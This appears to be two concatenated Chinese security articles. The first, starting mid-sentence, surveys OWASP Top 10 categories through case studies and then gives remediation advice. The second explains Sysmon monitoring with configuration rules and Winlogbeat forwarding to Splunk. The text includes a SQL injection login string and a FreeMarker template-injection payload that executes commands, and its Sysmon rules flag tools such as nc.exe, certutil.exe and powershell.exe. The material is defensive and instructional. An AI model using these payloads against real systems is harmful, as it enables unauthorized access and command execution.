属于当前登录用户。攻击者修改 groupId为他人组号（如 62），即可直接查看其他用户的信息。 垂直越权（低权限用户访问高权限功能） 某电网管理系统中，普通员工登录后页面隐藏 “管理员后台” 入口，但管理员后台的核心接口 POST /api/admin/deleteUser 未校验用户角色。攻击者通过抓包工具直接构造该接口请求，可删除任意员工账号。 未授权访问接口资源 某学校管理系统Swagger接口文档信息泄露，通过一个个试验发现存在部门信息接口访问无需权限控制，最终通过小红书求助拿到整个学校的全部学生信息和账号密码。 加密失败：数据加密过程存在问题，导致敏感信息在传输或存储时面临泄露风险。 密码弱哈希存储 某论坛为简化开发，将用户密码用 MD5 算法直接哈希后存储（无盐值）。攻击者获取数据库后，通过 "彩虹表"快速破解大量密码（如 MD5("123456")=e10adc3949ba59abbe56e057f20f883e 可直接匹配）。 传输层未加密 某小型理财平台仍使用 HTTP 协议传输用户登录数据，攻击者通过"中间人攻击"（如抓包），可直接捕获用户输入的账号密码明文，无需破解即可登录。 密钥硬编码与弱加密 某 APP 为保护本地存储的用户 Token，用 AES 算法加密但将密钥硬编码在代码中（String aesKey = "abcdef1234567890"），且加密模式设为 ECB（电子密码本模式，相同明文加密结果相同）。攻击者反编译 APP 获取密钥后，可轻松解密所有用户 Token。 注入：攻击者向应用输入字段注入恶意代码，使应用执行恶意命令或查询，常见的有 SQL 注入、模板注入等。 某工业控制系统管理后台登录页面账号处输入admin' OR '1'='1'，使用任意密码可成功登录成admin账户 某商城系统使用 Freemarker 模板，攻击者注入 <#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc").start()}，可执行任意命令获取服务器权限 不安全的设计：在应用程序设计阶段没有充分考虑安全因素，导致系统存在固有弱点。 某深圳餐饮App提现的功能设计时，仅校验"用户余额≥提现金额"，未设计幂等性校验，导致高并发请求提交同一笔提现请求，余额仅扣减 1 次，但实际到账很多次。 登录系统设计为 “连续输错 5 次密码锁定账户30分钟”，但未限制 “同一 IP 对多个账户的尝试次数”。攻击者可利用脚本对大量账户进行批量暴力破解，导致大量用户都被锁定。 安全配置错误：Web 服务器、应用服务器、数据库服务器等配置不当，如开放不必要的服务、使用默认账户密码等。 使用易受攻击和过时的组件：应用程序使用了存在已知安全漏洞的第三方库、框架或软件版本。 某广州职业学院后台使用actuator对应用系统进行自省和监控，配置不当导致所有的核心信息泄露。 management.endpoints.web.exposure.include= management.endpoint.shutdown.enabled=true 某企业泛微OA使用的Tomcat9.0.1中间件开启了基于文件的会话持久化功能以及启用了DefaultServlet-Partial PUT请求，导致会话存储文件被恶意的反序列化，造成了任意命令执行。 <Context> <WatchedResource>WEB-INF/web.xml</WatchedResource> <WatchedResource>WEB-INF/tomcat-web.xml</WatchedResource> <WatchedResource>${catalina.base}/conf/web.xml</WatchedResource> <Manager className="org.apache.catalina.session.PersistentManager"> <Store className="org.apache.catalina.session.FileStore"/> </Manager> </Context> <servlet> <servlet-name>default</servlet-name> <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class> <init-param> <param-name>debug</param-name> <param-value>0</param-value> </init-param> <init-param> <param-name>listings</param-name> <param-value>false</param-value> </init-param> <init-param> <param-name>readonly</param-name> <param-value>false</param-value> </init-param> <load-on-startup>1</load-on-startup> </servlet> 身份识别和身份验证失败：身份验证和会话管理功能实现不当，攻击者可破解密码、会话令牌等冒充其他用户。 某网站前端登录采用RSA加密（公私钥均放到前端js文件中），用于用户鉴别的RSA-JWT与登录使用的一样，导致JWT能够被成功伪造，出现任意用户登录。 软件和数据完整性故障：软件更新、关键数据或基础设施组件未得到妥善保护，导致数据或软件被篡改。 NPM官方仓库中的开发者valorkin维护86个开源项目中的2个组件（ngx-bootstrap 与 ng2-file-upload）以及开发者scttcper维护54个开源项目中的14个组件（@ctrl/tinycolor等），总计涉及近40个开源组件项目，其中受影响的多个热门组件历史总下载量超过亿次，影响范围极大**。**攻击者在组件源码中直接植入混淆恶意文件bundle.js，其主要功能是在组件安装过程中静默窃取受害者系统平台信息、环境变量数据以及主流业务（包括NPM、Github、AWS及GCP等）的token密钥。 受害者被投毒攻击后，敏感数据将直接在github上公开泄漏，base64解码后可还原出github token凭证 安全日志记录和监控失败：缺乏有效的安全日志记录和实时监控机制，无法及时发现和响应安全事件。 某系统虽开启了日志记录，但日志文件未定期备份且存储在本地，攻击者入侵后直接删除日志文件，销毁攻击痕迹，管理员无法进行事后溯源 服务器端请求伪造：攻击者操纵服务器向其他系统发送未经授权的请求，访问内部系统资源或获取敏感数据。 @PostMapping(consumes = "multipart/form-data", value = "/file/pdf") @Operation( summary = "Convert a file to a PDF using LibreOffice", description = "This endpoint converts a given file to a PDF using LibreOffice API Input:ANY" + " Output:PDF Type:SISO") public ResponseEntity<byte[]> processFileToPDF(@ModelAttribute GeneralFile generalFile) throws Exception { MultipartFile inputFile = generalFile.getFileInput(); File file = null; try { file = convertToPdf(inputFile); PDDocument doc = pdfDocumentFactory.load(file); return WebResponseUtils.pdfDocToWebResponse( doc, Filenames.toSimpleFileName(inputFile.getOriginalFilename()) .replaceFirst("[.][^.]+$", "") + "_convertedToPDF.pdf"); } finally { if (file != null) file.delete(); } } public File convertToPdf(MultipartFile inputFile) throws IOException, InterruptedException { String originalFilename = Filenames.toSimpleFileName(inputFile.getOriginalFilename()); if (originalFilename == null || !isValidFileExtension(FilenameUtils.getExtension(originalFilename))) { throw new IllegalArgumentException("Invalid file extension"); } Path tempInputFile = Files.createTempFile("input_", "." + FilenameUtils.getExtension(originalFilename)); inputFile.transferTo(tempInputFile); Path tempOutputFile = Files.createTempFile("output_", ".pdf"); try { //LibreOffice List<String> command = new ArrayList<>( Arrays.asList( runtimePathConfig.getUnoConvertPath(), "--port", "2003", "--convert-to", "pdf", tempInputFile.toString(), tempOutputFile.toString())); ProcessExecutorResult returnCode = ProcessExecutor.getInstance(ProcessExecutor.Processes.LIBRE_OFFICE) .runCommandWithOutputHandling(command); return tempOutputFile.toFile(); } finally { if (tempInputFile != null) Files.deleteIfExists(tempInputFile); } } POST /api/v1/convert/file/pdf HTTP/1.1 Host: 172.25.24.140:8080 Content-Length: 230 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXk10yDA52D8VSaGO Accept: */* Origin: http://172.25.24.140:8080 Referer: http://172.25.24.140:8080/file-to-pdf?lang=zh_CN Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: JSESSIONID=node0dylx4lgdtzxwixmnid86661r1.node0 Connection: close ------WebKitFormBoundaryXk10yDA52D8VSaGO Content-Disposition: form-data; name="fileInput"; filename="1.html" Content-Type: text/html ------WebKitFormBoundaryXk10yDA52D8VSaGO-- 某Web应用程序存在SSRF且云上配置不当，导致所有云机器被接管。 https://help.aliyun.com/zh/eci/user-guide/obtain-the-metadata-from-a-container-1 https://help.aliyun.com/zh/ecs/user-guide/view-instance-metadata 知名例子 麦当劳 弱口令+失效的访问控制 麦当劳的招聘平台McHire使用了Paradox.ai开发的名为Olivia的AI聊天机器人，来收集求职者的个人信息，包括姓名、电话号码、电子邮件地址、物理地址等，McHire存在安全漏洞，超过6400万求职者的个人信息遭暴露。在成功登录后，可以修改网址中的数字参数（应聘者的ID编号），任何McHire账户持有者都能查看其他申请人的聊天交互机密信息。 安全配置错误 麦当劳系统Design Hub（120个国家团队使用的品牌资产平台） 中发现漏洞，平台仅依靠客户端密码进行保护，只需要将https://admin.me.mcd.com/feel-good-design/login中的login改成register，即可访问开放端点，该API还会提示用户填写缺失字段，使得账户被任意创建。 Design Hub中的JavaScript文件硬编码存储了Magicbell API密钥和密钥允许列出用户并通过麦当劳基础设施发送钓鱼通知，导致允许通过麦当劳的基础设施发送钓鱼通知。 印度麦当劳App McDelivery系统，允许订购麦当劳外卖，在Google Play下载量超过1000万次，在印度开发了独有的App。 订单信息遍历 McDelivery网站和移动应用程序使用Angular构建，面向消费者的高交互性应用程序，在main.js中找到了了关于订单信息的接口和参数。 通过尝试order-tracking中的参数，倾向输入0或1查看是否是简单的整数值，果然得到了结果。 订单 ID 是连续的，这意味着您可以不断将数字加 1 以获取下一个订单的详细信息，从而获取更多用户信息，由于在API调用中需要JWT令牌，尚未创建帐户，也未登录。该令牌来自加载网站时在后台运行的访客登录 API 调用。 零元购 麦当劳选购下单的时候，选择一个海上的地址进行配送，底部显示地址无法使用，通过删除前端的disable按钮进行下单，点击支付，跳转到支付处理器Juspay。 在JustPay订单支付的接口里面，有字段名orderDetails，它包含所有需要修改的键值，包括订单的ID，价格等等。因为存在一个校验字段Signature服务端的校验字段，更改它们不会产生预期的结果，签名在服务器端生成如下： 订单 API 接受您的购物车 ID 并从购物车对象中提取所有需要的信息。 创建 orderDetails 对象，并基于该对象创建 RSA 签名。 两者都返回给客户端 购物车对象能够接受商品更新，但它也能接受价格更新吗？我整理了一个 PUT 请求来更新价格，成功更新了价格，并且得到了一个有效的签名，最终完成了零元购。 管理数据泄露 McDelivery 的管理面板位于https://oms.mcdelivery.co.in/，通过JS数据找到了一个管理端点来查看接受消费者 JWT 令牌的KPI报告。 本企业漏洞案例 保密问题暂删除。 注意事项 类别 注意事项 注入 1.SQL 注入防护：强制使用参数化查询（PreparedStatement），避免直接拼接用户输入到 SQL 语句中；若使用 ORM 框架（如 MyBatis），通过 XML 映射文件的参数占位符（#{}）实现参数化，而非字符串拼接的${}。 2. 命令注入防护：避免直接调用Runtime.exec()等系统命令执行方法，若必须使用，需对用户输入进行白名单校验（只允许特定命令或参数）。 3. XSS 注入防护：对输出到 HTML 页面的用户输入，使用 HTML 转义工具（如 OWASP Java Encoder）进行转义；前端也需配合，使用框架自带的安全渲染方式。 4. 模板注入防护：若使用模板引擎（如 Thymeleaf、Freemarker），禁用动态模板生成；对模板中的变量，强制进行沙箱限制（如 Freemarker 禁用execute等危险方法）。 失效的身份认证 1.密码安全：使用强哈希算法（如 BCrypt、Argon2）存储密码，而非 MD5、SHA-1 等已被破解的算法；强制要求用户设置复杂密码（长度≥8，包含大小写、数字、特殊字符），并在前端 / 后端双重校验。 2. 会话管理：会话 ID 必须随机且不可预测，使用框架自带的安全会话生成机制（如 Java Servlet 的HttpSession）；设置合理的会话超时时间（如 30 分钟无操作则过期），并在用户注销时立即销毁会话；为 Cookie 设置HttpOnly和Secure属性，防止 XSS 窃取和非 HTTPS 传输。 3. 多因素认证（MFA）：敏感操作（如修改密码、转账）强制启用 MFA（短信验证码 + 密码、硬件令牌等）；自定义 MFA 逻辑时，确保验证码一次性有效、有过期时间。 敏感信息泄露 1.数据传输安全：所有涉及敏感信息（密码、身份证号、银行卡号等）的传输，必须使用 HTTPS 协议，启用 TLS 1.2 及以上版本。 2. 数据存储安全：对敏感数据进行加密存储，使用强加密算法（如 AES），并通过密钥管理系统（KMS）安全管理密钥，避免硬编码密钥。 3. 日志与错误处理：日志中禁止记录敏感信息（如密码明文）；错误页面禁止返回详细的堆栈跟踪或系统路径，只展示通用错误提示，详细错误信息在后台日志中记录。 4. 数据脱敏：展示敏感信息时进行脱敏处理（如手机号显示为138****1234），仅在必要场景（如用户本人查看）展示完整信息。 不安全的设计 1.安全设计评审：核心功能（如支付、用户权限管理）的设计方案，必须经过安全专家评审，确保符合最小权限、纵深防御等安全原则。 2. 业务流程安全：关键业务流程（如订单生成、支付、退款）需设计多重校验（如服务端二次验证前端参数、异步对账），防止流程被篡改或绕过。 3. 应急响应设计：在系统设计中融入应急响应机制，明确安全事件的检测、通知、处置流程，例如：异常流量监控、数据备份与恢复策略。 安全配置错误 1.环境隔离与最小化：开发、测试、生产环境严格隔离；服务器只安装必要的软件和服务，关闭不必要的端口（如 FTP、Telnet）和默认服务。 2. 默认配置修改：修改所有系统、应用、数据库的默认账户和密码，使用强密码，并定期更换；避免使用默认的加密密钥、证书等。 3. 配置文件安全：敏感配置（如数据库连接信息、API 密钥）禁止硬编码在代码中，应存储在加密的配置中心（如 Nacos、Consul）或环境变量中。 使用易受攻击和过时的组件 1.主动维护清单：清楚掌握项目中使用的每一个第三方库、框架及其版本号（例如使用 package-lock.json、pom.xml 等）。 2.只从官方渠道获取：永远只从官方仓库或可信源安装组件（如 Maven Central、npmjs、官方 GitHub Release），避免使用来路不明的 Jar 包或 JS 文件。 3.移除无用依赖：及时清理项目中不再使用的库，减少不必要的攻击面。 身份识别和身份验证失败 1.登录安全：设置登录失败次数限制（如 5 次失败后锁定账户 15 分钟），并启用验证码或行为验证（如滑块验证）防止暴力破解。 2. token 安全：若使用 JWT 等令牌，确保签名密钥的安全性，设置合理的过期时间，避免令牌被盗用后长期有效；令牌传输必须通过 HTTPS，禁止在 URL 中传递令牌。 3. 第三方认证集成：集成第三方登录（如 OAuth、OpenID）时，严格校验回调参数，确保重定向 URL 在白名单内，防止开放重定向漏洞。 4. 权限校验粒度：权限校验需精准到 “操作 + 资源” 维度，例如：用户只能修改自己创建的订单，管理员才能删除用户，避免 “一刀切” 的权限设计。 软件和数据完整性故障 1.不要相信来自外部的数据：任何从客户端、API、第三方服务收到的数据都可能被篡改，必须进行严格校验。 2.验证数字签名：如果使用了来自外部的代码、更新包或配置文件，必须检查其数字签名，确保它来自可信作者且未被修改。 3.使用安全的依赖库：只从官方渠道获取第三方库，并定期检查是否有已知漏洞，防止引入恶意依赖。 安全日志记录和监控失败 1.日志记录范围：关键操作（登录 / 登出、数据修改、权限变更、异常请求）必须记录日志，包含时间、用户 ID、IP 地址、操作内容、请求 ID 等信息。 2. 日志存储与保护：日志存储在安全的位置，设置访问权限，防止未授权访问；定期备份日志，保留足够长的时间（如 6 个月）以满足审计需求。 3. 实时监控与告警：集成安全监控工具（如 ELK + Wazuh、Splunk），对日志进行实时分析，设置告警规则（如多次登录失败、异常数据访问），确保安全事件能及时发现。 4. 日志格式与标准化：统一日志格式（如 JSON 格式），便于自动化分析和关联，例如：将所有系统的日志按照相同字段格式输出。 服务器端请求伪造 1.输入白名单校验：对用户可控的 URL 参数，强制校验域名和协议，只允许访问白名单内的合法域名，禁止访问内部 IP 段（如127.0.0.1、192.168..）。 2. URL 解析与规范化：使用安全的 URL 解析库（如 Java 的java.net.URL）对用户输入的 URL 进行解析和规范化，避免利用 URL 的特殊格式（如@、//）绕过校验。 3. 网络层限制：通过防火墙或网络策略，限制应用服务器对外发起请求的范围，仅允许访问必要的外部服务。 4. 错误信息限制：处理外部请求时，禁止将详细的错误信息（如内部服务的堆栈跟踪、网络拓扑）返回给用户，防止攻击者利用错误信息进行进一步攻击。 靶场体验 抓包工具：https://github.com/yaklang/yakit/releases/tag/v1.4.4-0912 代理工具：Google插件proxy 靶场地址：https://github.com/whgojp/JavaSecLab
Sysmon Sysmon(System monitor)微软提供的轻量级的系统监控工具，能根据自定义编写配置文件监控并记录进程创建、网络连接、文件操作、驱动情况等等详细信息，相关的详细信息会写入到事件查看器——应用程序和服务日志——Windows——Sysmon日志事件里面去，从功能上来看，Sysmon类似于HIDS，依托于Windows内核态注册回调并通过ETW存储展示Windows日志。 Windows系统主要分为用户态（ring3）和内核态（ring0）： ring3：普通应用程序层级，权限低，不能直接操作系统底层资源（比如进程创建、文件读写），适合做数据收集、解析、展示非底层操作。 ring0：驱动程序运行的层级，能直接访问系统内核资源，能监控所有底层操作（比如进程创建、文件底层读写），但风险高（写得不好会导致系统蓝屏），适合做底层数据采集。 Sysmon也分成这样的两层，通过内核驱动捞底层原始数据，用户态负责补全数据并将原始数据翻译成易懂的日志 层级 运行的组件 核心职责 依赖 ring3 用户态 Sysmon 服务（exe 程序） 1. 收集网络数据；2. 解析驱动传来的原始数据 ETW（事件跟踪）、EventLog（事件日志） 内核态驱动 Minifilter 文件过滤驱动 1. 收集进程 / 线程 / 模块信息；2. 记录文件 / 注册表访问 进程回调、Minifilter、注册表回调 ring3： Sysmon的用户态程序会订阅 Windows 的 “网络相关 ETW(Event Tracing for Windows) 事件（比如网络连接、端口监听、数据发送接收等），直接从系统层面捕获网络数据。 驱动会把收集到的进程 / 文件 / 注册表原始数据，通过内核态→用户态的通信机制（比如事件对象、共享内存）传给Sysmon用户态程序；用户态程序通过 EventLog的规范，把这些原始数据 翻译成结构化日志 —— 比如把PID对应到进程名、把内存地址转成实际的文件路径 / 注册表路径，最终生成包含时间戳、进程信息、操作对象、操作类型、结果的清晰日志。 ring1： 内核允许驱动注册回调，当系统中任何进程发生创建、退出或者进程加载了新模块（比如 DLL 文件），内核会立刻通知驱动，驱动就能捕获到关键信息： 进程信息：PID、进程名、父进程 PID、进程路径、创建时间、退出时间； 线程信息：线程 ID、所属进程 PID、线程创建 / 退出时间； 模块信息：加载的 DLL/EXE 路径、模块名、加载时间、所属进程。 基于Minifilter，驱动能拦截所有进程的文件操作，记录： 操作进程：哪个进程在操作文件； 操作对象：文件的完整路径； 操作类型：创建、读取、写入、删除、重命名等； 操作结果：成功 / 失败（比如权限不足导致删除失败）。 内核支持注册表回调，驱动注册后，能拦截所有注册表操作： 操作进程：哪个进程在操作注册表； 操作对象：注册表的完整路径（比如 HKEY_LOCAL_MACHINE\SOFTWARE\XXX）； 操作类型：创建、读取、写入、删除等； 操作结果：成功 / 失败。 总的来说，Sysmon是两层架构的协作流程： 驱动采集底层数据：通过进程回调 + Minifilter + 注册表回调，收集原始数据。 数据传递给用户态：通过内核->用户态的通信通道，传给Sysmon服务 用户态补充+解析：通过ETW补充采集网络数据，同时接收驱动传来的二进制数据，并解析EventLog 生成最终的日志：整合以上的数据，写入日志库中供用户查看 Sysmon语法字段 Sysmon事件对象： 事件 ID 事件名称 核心监控内容 1 ProcessCreate 进程创建（记录完整命令行、父进程 ID、进程路径、哈希值等） 2 ProcessCreateEx 进程创建扩展信息（包含进程创建时的环境变量、令牌信息等详细数据） 3 NetworkConnect 网络连接建立（记录源 IP / 端口、目标 IP / 端口、协议、进程信息等） 4 ServiceConfigurationChange 服务配置变更（记录服务的创建、修改、删除或启动类型变更） 5 ProcessTerminate 进程终止（记录进程 ID、名称及终止时间） 6 DriverLoad 驱动加载（记录驱动路径、哈希值、签名信息，用于检测恶意驱动） 7 ImageLoad 镜像加载（记录进程加载的 DLL 等模块路径、哈希值，检测 DLL 注入） 8 RemoteThreadCreate 远程线程创建（记录跨进程创建线程的行为，常用于检测进程注入） 9 NetworkDisconnect 网络连接断开（记录连接断开的进程、IP / 端口信息） 10 ProcessAccess 进程访问（记录一个进程打开另一个进程的行为，如读取敏感进程内存） 11 FileCreate 文件创建 / 覆盖（记录新建文件或覆盖已有文件的路径、进程信息） 12 RegistryEvent (CreateKey) 注册表项创建（记录新建注册表项的路径、操作进程） 13 RegistryEvent (SetValue) 注册表值修改（记录注册表值的修改操作，含键路径、新旧值） 14 RegistryEvent (DeleteKey) 注册表项删除（记录删除注册表项的路径、操作进程） 15 FileCreateTime 文件时间戳修改（记录文件创建时间、最后修改时间等被手动篡改的行为） 16 ServiceConfigurationChange (旧版) 服务配置变更（部分旧版 Sysmon 使用，新版建议用 ID 4） 17 PipeEvent (Create) 命名管道创建（记录进程创建的命名管道，用于检测进程间隐蔽通信） 18 PipeEvent (Connect) 命名管道连接（记录进程连接到命名管道的行为） 19 WmiEvent (Filter) WMI 筛选器创建（记录 WMI 筛选器的创建，检测通过 WMI 的持久化恶意行为） 20 WmiEvent (Consumer) WMI 消费者创建（记录 WMI 消费者的创建，常与恶意持久化相关） 21 WmiEvent (Binding) WMI 绑定（记录 WMI 筛选器与消费者的绑定，用于检测 WMI 触发的恶意逻辑） 22 DNSQuery DNS 查询（记录进程发起的 DNS 解析请求，含域名、查询结果 IP） 23 FileDelete 文件删除（记录文件被删除的路径、操作进程） 24 FileDeleteDetected 文件删除检测（通常由反病毒软件触发，记录被删除的恶意文件） 25 FileStreamCreate 文件流创建（记录 NTFS 备用数据流的创建，用于检测隐藏在数据流中的恶意内容） 26 IntegrityCheck 完整性检查（记录 Sysmon 配置或自身文件被修改的行为，检测工具被篡改） 27 PipeEvent (Disconnect) 命名管道断开（记录命名管道连接的断开行为） 28 LoadImage 镜像加载（与 ID 7 类似，部分版本中用于记录驱动或模块加载的扩展信息） 29 CreateRemoteThread 远程线程创建（与 ID 8 类似，部分版本中细化远程线程创建的监控） condition语法： 条件 描述 is 默认值，值相等 is any 字段是用分号分隔的值中的一个 is not 值不同 contains 字段包含此值 contains any 字段包含用分号分隔的值中的任意一个 contains all 字段包含用分号分隔的所有值 excludes 字段不包含此值 excludes any 字段不包含用分号分隔的值中的一个或多个 excludes all 字段不包含用分号分隔的任何值 begin with 字段以此值开头 end with 字段以此值结尾 not begin with 字段不以此值开头 not end with 字段不以此值结尾 less than 字典序比较结果小于零（即按字典顺序，字段值小于目标值） more than 字典序比较结果大于零（即按字典顺序，字段值大于目标值） image 匹配镜像路径（完整路径或仅镜像名称）。例如：lsass.exe 会匹配 c:\windows\system32\lsass.exe 常见的配置 监控网络连接 监控常见exe软件发起的网络连接 监控常见端口的网络连接 排查杀毒软件、回环地址、某些官方域名的网络连接 <Sysmon schemaversion="4.90"> <HashAlgorithms>*</HashAlgorithms> <EventFiltering> <RuleGroup name="networkmonitor" groupRelation="or"> <NetworkConnect onmatch="include"> <Image name="user" condition="begin with">C:\Users</Image> <Image condition="begin with">C:\ProgramData</Image> <Image condition="begin with">C:\Windows\Temp</Image> <Image condition="end with">dll</Image> <Image condition="image">java.exe</Image> <Image condition="image">javaws.exe</Image> <Image condition="image">python.exe</Image> <Image condition="image">curl.exe</Image> <Image condition="image">ncat.exe</Image> <Image condition="image">nc.exe</Image> <Image condition="image">cmd.exe</Image> <Image condition="image">nslookup.exe</Image> <Image condition="image">sc.exe</Image> <Image condition="image">at.exe</Image> <Image condition="image">certutil.exe</Image> <Image condition="image">dsquery.exe</Image> <Image condition="image">powershell.exe</Image> <Image condition="image">powershell_ise.exe</Image> <Image condition="image">wmic.exe</Image> <Image condition="image">wscript.exe</Image> <DestinationPort name="FTP" condition="is">21</DestinationPort> <DestinationPort name="SSH" condition="is">22</DestinationPort> <DestinationPort name="IMAP" condition="is">25</DestinationPort> <DestinationPort name="POP" condition="is">110</DestinationPort> <DestinationPort name="SMB" condition="is">445</DestinationPort> <DestinationPort name="RDP" condition="is">3389</DestinationPort> </NetworkConnect> <NetworkConnect onmatch="exclude"> <Image name="defender" condition="begin with">C:\ProgramData\Microsoft\Windows Defender\</Image> <Image name="360" condition="is">360safe.exe</Image> <DestinationHostname condition="end with">.microsoft.com</DestinationHostname> <DestinationIp condition="is">127.0.0.1</DestinationIp> </NetworkConnect> </EventFiltering> </Sysmon> 监控文件更改 监控用户目录、系统目录的文件 监控exe、dll文件的删除，排查临时文件缓存 排除系统wps、word等常用办公软件产生的文件监控 <Sysmon schemaversion="4.90"> <HashAlgorithms>*</HashAlgorithms> <EventFiltering> <RuleGroup name="filemonitor" groupRelation="or"> <FileCreate onmatch="include"> <TargetFilename condition="contains">C:\Users\</TargetFilename> <TargetFilename condition="contains">C:\ProgramData\</TargetFilename> <TargetFilename condition="contains">C:\Windows\System32\</TargetFilename> </FileCreate> <FileCreateTime onmatch="include"> </FileCreateTime> <FileDelete onmatch="include"> <TargetFilename condition="end with">.exe</TargetFilename> <TargetFilename condition="end with">.dll</TargetFilename> </FileDelete> <FileStreamCreate onmatch="include"> </FileStreamCreate> <FileCreate onmatch="exclude"> <Image condition="end with">svchost.exe</Image> <Image condition="end with">lsass.exe</Image> </FileCreate> <FileDelete onmatch="exclude"> <Image condition="end with">cleanmgr.exe</Image> <TargetFilename condition="contains">AppData\Local\Temp\</TargetFilename> </FileDelete> <FileCreate onmatch="exclude"> <Image condition="end with">notepad.exe</Image> <Image condition="end with">word.exe</Image> <Image condition="end with">wps.exe</Image> </FileCreate> </RuleGroup> </EventFiltering> </Sysmon> 进程监控 监控所有的进程创建，排除关键的系统核心进程 <Sysmon schemaversion="4.90"> <HashAlgorithms>*</HashAlgorithms> <EventFiltering> <RuleGroup name="processmonitor" groupRelation="or"> <ProcessCreate onmatch="include"> </ProcessCreate> <ProcessCreate onmatch="exclude"> <Image condition="contains">C:\Windows\System32\</Image> <Image condition="contains">C:\Windows\SysWOW64\</Image> <Image condition="contains">C:\Windows\WinSxS\</Image> <Image condition="contains">C:\Windows\Microsoft.NET\</Image> <Image condition="end with">svchost.exe</Image> <Image condition="end with">lsass.exe</Image> <Image condition="end with">services.exe</Image> <Image condition="end with">winlogon.exe</Image> <Image condition="end with">explorer.exe</Image> <Image condition="end with">taskhostw.exe</Image> <Image condition="end with">csrss.exe</Image> <Image condition="end with">smss.exe</Image> <Image condition="end with">wininit.exe</Image> <Image condition="end with">SearchIndexer.exe</Image> </ProcessCreate> <ProcessTerminate onmatch="include"> <Image condition="begin with">C:\Users</Image> <Image condition="begin with">\</Image> </ProcessTerminate> </RuleGroup> </EventFiltering> </Sysmon> DNS解析监控 排除一些官方网站的dns解析 <Sysmon schemaversion="4.90"> <HashAlgorithms>*</HashAlgorithms> <EventFiltering> <RuleGroup name="dnsmonitor" groupRelation="or"> <QueryName condition="end with">.bing.com</QueryName> <QueryName condition="end with">.baidu.com</QueryName> <QueryName condition="end with">.google.com</QueryName> <QueryName condition="is">localhost</QueryName> <QueryName condition="end with">.windowsupdate.com</QueryName> <QueryName condition="end with">.mozilla.com</QueryName> <QueryName condition="end with">.mozilla.net</QueryName> <QueryName condition="end with">.mozilla.org</QueryName> </RuleGroup> </EventFiltering> </Sysmon> 注册表监控 监控自启动项、安全相关的注册表路径 监控自启动值、UAC开关值的修改 监控安全软件、系统关键配置项的删除 排除正常的系统进程 <Sysmon schemaversion="4.90"> <HashAlgorithms>*</HashAlgorithms> <EventFiltering> <RuleGroup name="registrymonitor" groupRelation="or"> <RegistryEvent onmatch="include" eventType="CreateKey">> <TargetObject condition="contains">HKLM\Software\Microsoft\Windows\CurrentVersion\Run</TargetObject> <TargetObject condition="contains">HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce</TargetObject> <TargetObject condition="contains">HKCU\Software\Microsoft\Windows\CurrentVersion\Run</TargetObject> <TargetObject condition="contains">HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon</TargetObject> <TargetObject condition="contains">HKLM\Software\Microsoft\Windows Defender</TargetObject> </RegistryEvent> <RegistryEvent onmatch="include" eventType="SetValue"> <TargetObject condition="contains">HKLM\Software\Microsoft\Windows\CurrentVersion\Run\</TargetObject> <TargetObject condition="contains">HKCU\Software\Microsoft\Windows\CurrentVersion\Run\</TargetObject> <TargetObject condition="contains">HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA</TargetObject> </RegistryEvent> <RegistryEvent onmatch="include" eventType="DeleteKey"> <TargetObject condition="contains">HKLM\Software\Microsoft\Windows Defender</TargetObject> <TargetObject condition="contains">HKLM\Software\Microsoft\Windows\CurrentVersion\Run</TargetObject> </RegistryEvent> <RegistryEvent onmatch="exclude"> <Image condition="end with">svchost.exe</Image> <Image condition="end with">wuauclt.exe</Image> <Image condition="end with">msiexec.exe</Image> <TargetObject condition="contains">HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\</TargetObject> <TargetObject condition="contains">HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\</TargetObject> <CommandLine condition="is">C:\Windows\system32\wermgr.exe -upload</CommandLine> <ParentCommandLine condition="is">C:\windows\system32\wermgr.exe -queuereporting</ParentCommandLine> <ParentImage condition="is">C:\Windows\system32\SearchIndexer.exe</ParentImage> </RegistryEvent> </RuleGroup> </EventFiltering> </Sysmon> 更全面的配置文件可以看：https://github.com/SwiftOnSecurity/sysmon-config Winlogbeat 可以通过Winlogbeat将Sysmon的日志发送至SIEM平台中，这里以splunk为例。 Winlogbeat下载地址：https://www.elastic.co/cn/downloads/beats/winlogbeat 1、在splunk中配置HTTP事件接收器，以接收Winlogbeat发送的日志 2、编辑C:\Program Files\Winlogbeat\winlogbeat.yml文件，以发送到splunk ############################# Winlogbeat ###################################### winlogbeat.event_logs: - name: Microsoft-Windows-Sysmon/Operational ignore_older: 24h #event_id: 1,2 # ====================== Output to Splunk HEC =============================== output.http: hosts: ["https://host:port/services/collector"] headers: Authorization: Splunk token index: "win_sysmon" ssl.verification_mode: "none" # ======================== Processors ====================================== processors: - add_host_metadata: ~ #云环境- add_cloud_metadata: ~ #docker环境- add_docker_metadata: ~ # ======================== Logging ========================================== logging.level: info logging.to_files: true logging.files: path: C:\Program Files\Winlogbeat\logs 定义Winlogbeat-event_logs要发送的日志类型为Microsoft-Windows-Sysmon/Operational并忽略24 小时前的旧日志，配置为http的方式用于splunk接收日志，并通过processors加入自定义字段，如add_host_metadata加入主机的IP、主机名等信息作区分，并把Winlogbeat日志写入到C:\Program Files\Winlogbeat\logs文件当中。 总结 Sysmon 与 Winlogbeat的组合，可为办公终端构建一套轻量微型HIDS，通过实时获取HIDS的网络连接、进程、文件操作日志等到splunk中，再在splunk根据日志构建基础日志检测规则，实时发现在办公终端上的恶意行为，Sysmon低成本高性价、高细粒度、高自定义极有优势，与传统的商业EDR结合，能形成更为安全的互补。
